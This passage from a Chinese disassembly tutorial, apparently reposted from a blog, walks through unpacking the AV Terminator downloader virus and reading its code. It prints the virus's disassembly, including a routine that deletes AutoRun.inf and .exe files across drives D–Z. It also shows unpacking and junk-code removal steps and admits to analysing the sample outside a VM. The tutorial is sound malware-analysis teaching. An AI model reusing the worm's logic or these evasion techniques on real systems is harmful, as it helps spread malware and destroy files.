反汇编教程.docx
《反汇编教程.docx》由会员分享,可在线阅读,更多相关《反汇编教程.docx(38页珍藏版)》请在冰豆网上搜索。
![反汇编教程.docx](https://file1.bdocx.com/fileroot1/2023-1/5/4af5f653-a4ca-49e2-9023-cf19f428bff6/4af5f653-a4ca-49e2-9023-cf19f428bff61.gif)
反汇编教程
BoXer'sBlog@.@
简单反汇编阅读系列教程—
Skiptocontent
∙Home
∙关于我
CategoryArchivesfor简单反汇编阅读系列教程
简单反汇编阅读(十)
视频下载地址:
文本下载
大家好,我是BoXer,今天为大家做的动画是 简单反汇编阅读(十)
上一次我们反汇编分析了栈溢出原理,今天我们就来试试分析一下病毒
------------------------------------------------------------------------------
这里我随便找了一个病毒,没想到就是非常出名的AV终结者
其实AV终结者是一个下载者,那么我们现在就来看看它究竟干些什么坏事
用生成器生成一个病毒,全部都勾上吧
生成的病毒,查壳是NsPacKV3.7->LiuXingPing *Sign.By.fly*
原来是北斗3.7,我们OD载入看看
F8,命令栏输入hresp回车, F9,F8
就这样很快可以到OEP了
这时候我们 右键-分析-从模块删除分析
可以看到代码了,这个oep有点奇怪啊...是不是加花呢?
?
?
不确定的话我们先dump出来看看
查壳发现是MicrosoftVisualC++[Overlay]
现在可以断定是加花了,我们继续去花花
od载入,看到如下代码
0041C089>$ 55 push ebp
0041C08A . 8BEC mov ebp,esp
0041C08C . 6AFF push -1
0041C08E . 6866666600 push 666666
0041C093 . 6888888800 push 888888 ; SE处理程序安装
0041C098 . 64:
A10000000>mov eax,dwordptrfs:
[0]
0041C09E . 50 push eax
0041C09F . 64:
892500000>mov dwordptrfs:
[0],esp
0041C0A6 . 58 pop eax
0041C0A7 . 64:
A30000000>mov dwordptrfs:
[0],eax
0041C0AD . 90 nop
0041C0AE . 720C jb short0041C0BC
0041C0B0 . 730A jnb short0041C0BC
0041C0B2 > 90 nop
0041C0B3 . 90 nop
0041C0B4 . 90 nop
0041C0B5 . 90 nop
0041C0B6 . 7210 jb short0041C0C8
0041C0B8 . 730E jnb short0041C0C8
0041C0BA . 0000 add byteptr[eax],al
0041C0BC > 58 pop eax
0041C0BD . 58 pop eax
0041C0BE . 58 pop eax
0041C0BF . 58 pop eax
0041C0C0 .^72F0 jb short0041C0B2
0041C0C2 .^73EE jnb short0041C0B2
0041C0C4 . 0000 add byteptr[eax],al
0041C0C6 . 0000 add byteptr[eax],al
0041C0C8 > 90 nop
0041C0C9 . 90 nop
0041C0CA . 50 push eax
0041C0CB . 58 pop eax
0041C0CC . 90 nop
0041C0CD . 90 nop
0041C0CE . 83C401 add esp,1
0041C0D1 . 90 nop
0041C0D2 . 90 nop
0041C0D3 . 90 nop
0041C0D4 . 83C4FF add esp,-1
0041C0D7 . 90 nop
0041C0D8 .^0F8276D8FEFFjb 00409954
0041C0DE .^0F8370D8FEFFjnb 00409954
最后2句
0041C0D8 .^0F8276D8FEFFjb 00409954
0041C0DE .^0F8370D8FEFFjnb 00409954
玩过免杀的人都知道,这2句合成的效果就是jmp00409954
我们到00409954看看,
00409954 />/55 push ebp
00409955 |.|8BEC mov ebp,esp
00409957 |.|B90E000000 mov ecx,0E
0040995C |>|6A00 /push 0
0040995E |.|6A00 |push 0
00409960 |.|49 |dec ecx
00409961 |.^|75F9 \jnz short0040995C
这个头好点熟悉啊,玩破解的人应该知道是什么语言的oep了吧?
!
我们在00409954按F4,dump出来
查壳BorlandDelphi6.0-7.0
成功脱壳去花了,下面就来简单分析这个病毒的工作原理吧
------------------------------------------------------------------------------
为了安全起见,我推荐在虚拟机或者影子系统上分析
我机子配置比较差,只好直接分析了(一不小心运行就...)
不过为了安全,我们还是对关键的函数下断点
对那些CreateFile,CopyFile,DeleteFile这些文件操作的函数下断
最好还打开文件监控和注册表监控的软件
如果api不熟悉的话,可以用这个软件
LiquidX函数查询宝典V2.0Pro
下载地址
------------------------------------------------------------------------------
我在这里就直接右键,查找,所以参考文本字符串
可以看到一堆的字符串了
然后双击一些关键的字符串进去简单分析分析算了
比如分析一下这里:
文本字串参考位于d2:
条目557
地址=00408A6A
反汇编=mov ecx,00408B40
文本字串=ASCII"AutoRun.inf"
双击来到下面函数:
004089F0 /$ 55 push ebp
004089F1 |. 8BEC mov ebp,esp
004089F3 |. 83C4D0 add esp,-30
004089F6 |. 53 push ebx
004089F7 |. 56 push esi
004089F8 |. 57 push edi
004089F9 |. 33C0 xor eax,eax ; 初始化一些局部变量
004089FB |. 8945D0 mov dwordptr[ebp-30],eax
004089FE |. 8945D4 mov dwordptr[ebp-2C],eax
00408A01 |. 8945FC mov dwordptr[ebp-4],eax
00408A04 |. 8945F8 mov dwordptr[ebp-8],eax
00408A07 |. 8945F4 mov dwordptr[ebp-C],eax
00408A0A |. 8945F0 mov dwordptr[ebp-10],eax
00408A0D |. 33C0 xor eax,eax
00408A0F |. 55 push ebp
00408A10 |. 68F58A4000 push 00408AF5
00408A15 |. 64:
FF30 push dwordptrfs:
[eax]
00408A18 |. 64:
8920 mov dwordptrfs:
[eax],esp
00408A1B |. BE048B4000 mov esi,00408B04 ; ASCII"DEFGHIJKLMNOPQRSTUVWXYZ"
; 看样子是想遍历所有磁盘了
; C盘肯定是系统盘,所以不用遍历
00408A20 |. 8D7DD9 lea edi,dwordptr[ebp-27]
00408A23 |. B905000000 mov ecx,5
00408A28 |. F3:
A5 rep movsdwordptres:
[edi],dwordptr[esi]
00408A2A |. 66:
A5 movs wordptres:
[edi],wordptr[esi]
00408A2C |. A4 movs byteptres:
[edi],byteptr[esi]
00408A2D |. 8D45D4 lea eax,dwordptr[ebp-2C]
00408A30 |. E863C1FFFF call 00404B98
00408A35 |. 8B55D4 mov edx,dwordptr[ebp-2C]
00408A38 |. 8D45F8 lea eax,dwordptr[ebp-8]
00408A3B |. B9248B4000 mov ecx,00408B24 ; ASCII".exe"
00408A40 |. E82FACFFFF call 00403674
00408A45 |. BE17000000 mov esi,17 ; 循环0x17次,23次,就是上面的字母数了
00408A4A |. 8D5DD9 lea ebx,dwordptr[ebp-27]
00408A4D |> 8D45D0 /lea eax,dwordptr[ebp-30]
00408A50 |. 8A13 |mov dl,byteptr[ebx]
00408A52 |. E879ABFFFF |call 004035D0
00408A57 |. 8B55D0 |mov edx,dwordptr[ebp-30]
00408A5A |. 8D45FC |lea eax,dwordptr[ebp-4]
00408A5D |. B9348B4000 |mov ecx,00408B34 ; ASCII":
\"
00408A62 |. E80DACFFFF |call 00403674
00408A67 |. 8D45F4 |lea eax,dwordptr[ebp-C]
00408A6A |. B9408B4000 |mov ecx,00408B40 ; ASCII"AutoRun.inf"
00408A6F |. 8B55FC |mov edx,dwordptr[ebp-4]
00408A72 |. E8FDABFFFF |call 00403674
00408A77 |. 8D45F0 |lea eax,dwordptr[ebp-10]
00408A7A |. 8B4DF8 |mov ecx,dwordptr[ebp-8]
00408A7D |. 8B55FC |mov edx,dwordptr[ebp-4]
00408A80 |. E8EFABFFFF |call 00403674
00408A85 |. 8B45FC |mov eax,dwordptr[ebp-4]
00408A88 |. E89BADFFFF |call 00403828
00408A8D |. 50 |push eax ;/RootPathName
00408A8E |. E8E1B5FFFF |call ;\GetDriveTypeA
00408A93 |. 66:
83F803 |cmp ax,3 ; 判断是否为固定硬盘
00408A97 |. 7530 |jnz short00408AC9 ; 不是的话就跳
00408A99 |. 6A00 |push 0 ; SetFileAttributes的参数,normal属性
00408A9B |. 8B45F4 |mov eax,dwordptr[ebp-C]
00408A9E |. E885ADFFFF |call 00403828 ; 跟进,发现是使eax指向0040382D
00408AA3 |. 8BF8 |mov edi,eax ;|
00408AA5 |. 57 |push edi ;|FileName
00408AA6 |. E869B6FFFF |call ;\SetFileAttributesA
00408AAB |. 57 |push edi ;/FileName
00408AAC |. E89BB5FFFF |call ;\DeleteFileA
00408AB1 |. 6A00 |push 0
00408AB3 |. 8B45F0 |mov eax,dwordptr[ebp-10]
00408AB6 |. E86DADFFFF |call 00403828
00408ABB |. 8BF8 |mov edi,eax ;|
00408ABD |. 57 |push edi ;|FileName
00408ABE |. E851B6FFFF |call ;\SetFileAttributesA
00408AC3 |. 57 |push edi ;/FileName
00408AC4 |. E883B5FFFF |call ;\DeleteFileA
00408AC9 |> 43 |inc ebx
00408ACA |. 4E |dec esi
00408ACB |.^7580 \jnz short00408A4D
00408ACD |. 33C0 xor eax,eax
00408ACF |. 5A pop edx
00408AD0 |. 59 pop ecx
00408AD1 |. 59 pop ecx
00408AD2 |. 64:
8910 mov dwordptrfs:
[eax],edx
00408AD5 |. 68FC8A4000 push 00408AFC
00408ADA |> 8D45D0 lea eax,dwordptr[ebp-30]
00408ADD |. BA02000000 mov edx,2
00408AE2 |. E8EDA9FFFF call 004034D4
00408AE7 |. 8D45F0 lea eax,dwordptr[ebp-10]
00408AEA |. BA04000000 mov edx,4
00408AEF |. E8E0A9FFFF call 004034D4
00408AF4 \. C3 retn
这个函数简单看来好像是遍历所有磁盘,把原来的存在的AutoRun.inf以及.exe删掉
然后再放进他自己的AutoRun.inf和病毒.exe
还有其他功能可能要动态分析了,我们简单分析一下就够了,去下一个函数吧
------------------------------------------------------------------------------
就在刚才那个的下面,找到这个吧
文本字串参考位于d2:
条目563
地址=00408B8B
反汇编=mov eax,00408E14
文本字串=ASCII"Explorer.Exe"
双击来到下面:
00408B4C /$ 55 push ebp
00408B4D |. 8BEC mov ebp,esp
00408B4F |. B90A000000 mov ecx,0A
00408B54 |> 6A00 /push 0
00408B56 |. 6A00 |push 0
00408B58 |. 49